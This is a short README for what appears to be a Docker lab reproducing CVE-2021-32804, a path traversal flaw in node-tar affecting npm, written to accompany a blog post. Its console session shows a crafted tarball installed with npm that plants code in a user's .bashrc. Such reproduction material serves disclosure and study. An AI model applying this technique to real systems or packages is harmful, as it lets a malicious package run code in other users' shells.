yamory/cve-2021-32804Docker-based reproduction environment for CVE-2021-32804, a path traversal vulnerability in node-tar affecting npm, with step-by-step exploitation scripts.
This is a repository for building the Docker environment used in the yamory blog "CVE-2021-32804 Path Traversal Vulnerability in node-tar Affecting npm".
docker build -t cve-2021-32804 .
docker run -it cve-2021-32804 /bin/bash
root@5e1af2148215:/poc# node tar.js
root@5e1af2148215:/poc# su node
Hello, world!
root@5e1af2148215:/poc# npm i bashrc.tgz
root@5e1af2148215:/poc# su node
Hello, world!